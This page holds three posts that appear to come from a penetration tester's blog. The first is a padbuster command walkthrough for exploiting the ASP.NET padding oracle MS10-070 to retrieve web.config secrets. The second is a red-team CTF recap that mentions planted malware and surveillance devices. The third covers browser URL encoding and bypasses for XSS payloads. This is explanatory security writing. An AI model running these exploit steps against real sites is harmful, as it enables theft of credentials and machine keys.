Exploiting .NET Padding Oracle Attack MS10-070 (CVE-2010-3332) and Bypassing Microsoft's Workaround

This page has been (lightly) updated and moved to https://trustfoundry.net/exploiting-net-padding-oracle-attack-ms10-070-cve-2010-3332-and-bypassing-microsofts-workaround/

This week I ran into my first ASP.NET site since MS10-070.  I had read Bryan Holyfield and Giorgio Fedon's posts, which were great posts with groundbreaking information, although it was still unclear as to how to actually exploit the vulnerability.  Tim Medin and I worked together to exploit this vulnerability.  He posted his experiences at Security Whole.

This is a very widespread and severe vulnerability.  If you have not applied the patch yet, apply it now.  One interesting thing to keep in mind about this vulnerability is that all Windows 2000 boxes will be permanently exposed to it, since their support is EoL’d.

Interacting with the tool and trying to interpret the correct steps through blogs was the most difficult part of exploiting this vulnerability. The blog posts were great, but at the same time were confusing.  I still have a few unanswered questions, but I'd like to share my experience to help out others attempting to exploit this vulnerability.  Without further ado, here are the steps to obtain the web.config for a site that has the original workaround ([padding] errors issue 302 redirects via CustomErrors).


Prep for the attack 

• First, obtain a valid “d” value by observing a normal link to ScriptResource.axd (you can use ScriptResource.axd as the URL throughout this attack).
• Before starting, it’d be a good idea to verify the site is vulnerable by using ms10-070CheckPatch. This does some slight decoding and takes the length modulus 8.  The patch adds more characters to the "d" value.  I'd check a few parameters if you want to be sure it's vulnerable (are multiples of 8 not possible with the patch?). 
• If the ScriptResource.axd is authenticated, setup Burp Intruder to keep the cookies alive. 

The actual attack 
Bruteforce a valid T-Block to use as a prefix (using -bruteforce) and be sure to get the right block size and encoding method.  If you can't get a valid oracle, then try a different block size and encoding method.  If you do get a valid oracle, chose the option it suggests.

$ perl padbuster.pl "https://site.org/dir/ScriptResource.axd?d=xxxxxxxxxxxxxxxx" xxxxxxxxxxxxxxxx 16 -encoding 3 -bruteforce -log -verbose -cookies "ASP.NET_SessionId=f2471ac5-e515-..."

Once you have found a T-Block request, it'll say something like this, where the "d" value is your new T-block to use as prefix.

Attempt 15 - Status: 200 - Content Length: 393 https://site.org/dir/ScriptResource.axd?d=DgAAAAAAAAAAAAAAAAAAAM8X6Hz6gTDN5E1DDdDehBXoKFW TIM8UquygrlBs-oA68elaNxHtban...

Now we encrypt the plaintext using -prefix (from previous step) and -plaintext (using "|||~/web.config").

perl padbuster.pl "https://site.org/dir/ScriptResource.axd?d=xxxxxxxxxxxxxxxx" xxxxxxxxxxxxxxxx 16 -encoding 3 -plaintext "|||~/web.config" -noiv -prefix "DgAAAAAAAAAAAAAAAAAAAM8X6Hz6gTDN5E1DDdDehBXoKFWTIM8UquygrlBs-oA68elaNxHtban..." -cookies "ASP.NET_SessionId=f2471ac5-e515-..." 

...

———————————————————————————

** Finished *** 

[+] Encrypted value is: BXw6OSgQhp3YdMmkBqmuXQAAAAAAAAAAAAAAAAAAAAA1

Use the encypted value from the above step to replace your “d” (ciphertext) value. Bruteforce the correct T-block using -bruteforce (this took us 21,000 requests or several hours). When you get a valid t-block you can test this in your browser and hopefully the title will say some garbage and then your plaintext (“|||~/web.config”). The goal of this step is to brute force one of the magic values (as mentioned in Giorgio's blog) into the first two bytes (e.g. “r#”). The rest of the block doesn’t matter. Once you brute force the correct block you'll see a response with a much large response length (instead of ~360 which don't have the magic plaintext value).

Attempt 21906 - Status: 200 - Content Length: 12186

https://site.org/dir/ScriptResource.axd?d=kQBVAAAAAAAAAAAAAAAAAAV8Ojeeayad2TIMpAaprl0AAAAAAAAAAAAAAAAAAAAA0

Now simply retrieve the gzip encoded web.config file using the URL.

$ curl "https://site.org/dir/ScriptResource.axd?d=kQBVAAAAAAAAAAAAAAAAAAV8Ojeeayad2TIMpAaprl0AAAAAAAAAAAAAAAAAAAAA0" —insecure -H "Cookie: ASP.NET_SessionId=f2471ac5-e515-..." > web.config.gz
 And unzip it using gunzip

gunzip -c web.config.gz > web.config

 Now open your web.config and you may have just compromised database passwords, the machine key, and other goodies.

Experiences From CyberRaid 0 - Red Team

Ax0n and Asmodian X from h-i-r posted their experiences from CyberRaid 0, and I figured I'd do the same for those who missed it and anyone interested in competing in CyberRaid 1.


I didn't know what to expect going into it.  The event was put on in conjunction with BSidesKC, and the CTF was ran by White Wolf Security.  No rules were given ahead of time, which I figured was to keep us from preparing to cheat ahead of time using any technique that wasn't specifically banned.  I had quite a few ideas of how to cheat, although I didn't have time to prepare them (and in retrospect they probably wouldn't have helped much anyway), so I basically just loaded up a fresh BackTrack4 R1 instance, then updated everything I could think of.  Attempting to cheat was pretty worthless anyway, because the guy next to me totally out-cheated anything I could have done by planting a baby monitor built into a power strip, and USB thumb drives with malware planted around the room professionally designed and sealed packaging.  He delivered these items in the middle of the night to blue team's room.  Since I didn't have too much time to prepare, I was going to keep it simple and I was going to be okay with last place, and happy with anything higher.


We met before we began to go over the rules.  I don't think there really was any rules, except they just told us to score we needed to run a phonehome.exe on any box we own, and that you had to run it every so often.  I couldn't believe that attacking people's computers outside of the game (people's hosts) wasn't prohibited.  They also didn't prohibit any firewall rules from being set.


Once the game got started I found a couple of systems that looked promising and got lucky and got a shell on one of them pretty quickly.  I grabbed the phonehome.exe and I ran the crap out of it from meterpreter while I was working to automate this with a batch script (it was kind of hard to remember how to loop in batch without internet access).  At this point, I was happy to be on the board so quickly.  I finally dropped down to a interactive shell and ran the phonehome.exe and saw that it required some parameters that White Wolf hadn't given us.  The usage actually implied it was optional, so it took me a while to figure out that it was failing.  It took White Wolf a little while to get back to me with the IP and port, yet it still wouldn't connect.  Pretty soon my connection was killed because the blue teams had completely locked down the firewalls.  Egress traffic to connect back, and egress traffic to the scoring bot was all blocked.  Nobody could hit anything for a few hours until White Wolf told the blue teams to open up a few services.  For the last two thirds of the game we had 30 of us hitting these services, yet they all were pretty secure.  I think in the end only two or three people scored.  From what I heard, at this point the blue team was mostly just sitting around with nothing to do.


In the end, we had a period where we couldn't score, then for the rest of the game their systems were so locked down that only 10% of the people could score.  How much fun would football be to watch and play if only 10% of the teams scored each Sunday?  I had a lot of fun, but I expected much better preparation from cyber exercise professionals.  I will definitely don't regret playing.  I met a lot of very talented people in the area.    CTF aside, the event was extremely well put together.




Suggestions for next year

• Prohibit attacking of computers outside of the game.
• Test the network before the game begins.
• Tell us what we need to know to score.
• Ensure the game is somewhat fair (or at least entertaining) for the duration of the game.

Browser URL Encoding Decoding and XSS

This page has been (lightly) updated and moved to https://trustfoundry.net/browser-url-encoding-decoding-and-xss/

Cross-site scripting attacks can be very difficult to reproduce because of browser issues.  This problem is exacerbated by the fact that there is very little information regarding URL encoding and decoding.  Hopefully this will help you understand the problem and the browser oddities that can make XSS difficult to reproduce.

First, most browsers URL encode any special characters in the URL, so if you type in < in a URL, the browser converts it to %3C (as required by RFC 1738 Section 2.2). Update: Now all browser (including IE) follow the RFC. As of IE11 URL encoding no longer an attack vector (https://msdn.microsoft.com/library/bg182625(v=vs.85).aspx#utf8).

In most instances, web applications take that input and then URL decode it so they can work with the actual user input, not a URL encoded version.  This is incidentally helpful to an attacker who can only pass in URL encoded input because the application unencodes it for the attacker.  If this is the case, an attacker does not need to worry about any browsers doing URL encoding because the application will decode the attack for them.

In some instances the application will not unencode the input.  This means that the attacker needs to find a way to bypass the browser's URL encoding.  Internet Explorer before IE11 doesn't conform to RFC 1738 and passes along URLs without URL encoding it. Built-in XSS filters will commonly disable the attack, but you shouldn't rely on an browser's XSS filter to prevent XSS in your site.

A second way to prevent the browser from URL encoding the input is to use the enctype="text/plain" tag and to submit the form as a POST.  According to the Browser Security Handbook, this is supported by current versions of IE, FF, and Opera.  To use this you have to use a POST, fortunately in almost every instance you will be able to convert GET requests to POST requests.   Here is some HTML I use to submit the attack as a POST and prevent the browser from encoding it.

Another interesting oddity is that when you copy URLs out of Firefox or Chrome they are URL encoded, which can be very annoying.  To prevent this simply type a character in the URL and erase it, before you copy the URL.

There is not much information about how browsers handle URL encoding so please let me know if you find anything different or have anything to add.